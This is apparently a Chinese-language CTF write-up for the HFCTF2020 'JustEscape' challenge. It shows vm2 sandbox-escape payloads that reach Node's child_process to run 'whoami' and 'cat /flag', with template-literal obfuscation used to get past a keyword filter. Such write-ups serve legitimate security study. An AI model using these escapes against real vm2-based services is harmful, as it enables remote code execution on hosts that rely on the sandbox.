当前位置: 代码迷 >> 综合 >> [HFCTF2020]JustEscape vm沙箱逃逸
  详细解决方案

[HFCTF2020]JustEscape vm沙箱逃逸

热度:57   发布时间:2024-01-11 01:21:43.0

[HFCTF2020]JustEscape
先用Error().stack测试一下,确定是vm.js
这个老哥写的沙箱逃逸https://github.com/patriksimek/vm2/issues/225
在这里插入图片描述

"use strict";
const {
    VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();try{
    Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){
    return e.get_process(()=>{
    }).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

对于网站过滤的关键字,比如prototype,可以

[`${
    `${
    `prototyp`}e`}`]

也可以

[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`]
(function (){
    TypeError[`${
    `${
    `prototyp`}e`}`][`${
    `${
    `get_pro`}cess`}`] = f=>f[`${
    `${
    `constructo`}r`}`](`${
    `${
    `return proc`}ess`}`)();try{
    Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){
    return e[`${
    `${
    `get_pro`}cess`}`](()=>{
    }).mainModule[`${
    `${
    `requir`}e`}`](`${
    `${
    `child_proces`}s`}`)[`${
    `${
    `exe`}cSync`}`](`cat /flag`).toString();}
})()

在这里插入图片描述
这个老哥的另外一个绕过我也试了,但是会报错TypeError: e is not a function

(function(){
    try{
    Buffer.from(new Proxy({
    }, {
    getOwnPropertyDescriptor(){
    throw f=f[`${
    `${
    `constructo`}r`}`](`${
    `${
    `return proc`}ess`}`)();}}));}catch(e){
    return e(()=>{
    }).mainModule[`${
    `${
    `requir`}e`}`](`${
    `${
    `child_proces`}s`}`)[`${
    `${
    `exe`}cSync`}`](`cat /flag`).toString();}
})()